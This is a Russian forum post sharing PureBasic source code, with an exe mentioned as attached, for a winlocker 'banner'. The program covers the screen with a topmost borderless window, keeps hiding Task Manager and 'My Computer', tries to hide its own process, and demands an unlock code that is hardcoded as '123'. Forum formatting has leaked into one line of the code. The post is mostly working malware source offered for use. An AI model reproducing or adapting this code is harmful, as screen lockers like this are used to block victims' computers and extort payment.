От делать нефиг накатал простенький баннер. При создании не стал лезть в реестр и наводить так порядок. Блочит диспетчер задач по его заголовку. .... Особенности PureBasic -Шустрый BASIC компилятор для новичков и профессионалов. Из достоинств следует отметить быстроту компилирования, небольшой размер выходных файлов, дружбу с WinAPI, хороший встроенный отладчик и т.д. Не просит некаких доп. библиотек, если вы их конечно не использовали. Делал для тех кто не понимает как устроен баннер. source: Code: Enumeration #window #i[COLOR=Red][B][SIZE=3]mage EndEnumeration UseJPEGImageDecoder() Procedure OpenImage(*Value) If LoadImage(#image, "image1250027966846.jpg") hBrush = CreatePatternBrush_(ImageID(#image)) SetClassLongPtr_(WindowID(#window), #GCL_HBRBACKGROUND, hBrush) InvalidateRect_(WindowID(#window), 0, 1) EndIf HideWindow(#window, 0) Repeat Select WaitWindowEvent() Case #PB_Event_CloseWindow Break EndSelect ForEver EndProcedure Procedure wait_disp(*Interval) While(1) ShowWindow_(FindWindow_(NULL, "Диспетчер задач Windows"),#SW_HIDE) ShowWindow_(FindWindow_(NULL, "Мой компьютер"),#SW_HIDE) Delay(*Interval); Wend EndProcedure Procedure run(*Interval) For a=1 To 100 SetGadgetState(0,a) Delay(*Interval) Next End EndProcedure OpenLibrary(1,"kernel32.dll") CallFunction(1,"RegisterServiceProcess", GetCurrentProcessId_(), 1 ) OpenWindow(#window, #PB_Any, #PB_Any, 800, 640, "PB Window", #PB_Window_ScreenCentered | #PB_Window_BorderLess | #WS_POPUP | #PB_Window_Invisible) SetWindowLong_(WindowID(#window), #GWL_EXSTYLE, #WS_EX_TOOLWINDOW) SetWindowPos_(WindowID(#window),#HWND_TOPMOST,0,0,0,0,#SWP_NOSIZE|#SWP_NOMOVE) ;SetWindowColor(#window,RGB(0,100,255)) HideWindow(#window, 0) Rng=CreateRoundRectRgn_(0,0,800,600,100,100) SetWindowRgn_(WindowID(0),Rng,#True) ;------------------------------------------------------------ StringGadget(1, 280, 400, 200,20,"") ButtonGadget(2, 320, 450, 100, 20, "Разблокировать") ProgressBarGadget(0,20,550,760,15,0,100) thr1= CreateThread(@run(),200) thr2 = CreateThread(@wait_disp(),20) thr3= CreateThread(@OpenImage(),0) ;------------------------------------------------------------ Repeat EventID=WaitWindowEvent() If GetAsyncKeyState_(#VK_LMENU) If GetAsyncKeyState_(#VK_1) Break EndIf EndIf If EventID=#PB_Event_Gadget If EventGadget()=2 If GetGadgetText(1) = "123" MessageRequester("Служба разблокировки", "Просим поддтвердить Ваше желание разброкировать систему.", #MB_OK|#MB_ICONINFORMATION) End Else MessageRequester("Служба разблокировки", "Проверьте код", #MB_OK|#MB_ICONINFORMATION) EndIf EndIf EndIf Delay(10) Until EventID=#PB_Event_CloseWindow exe + source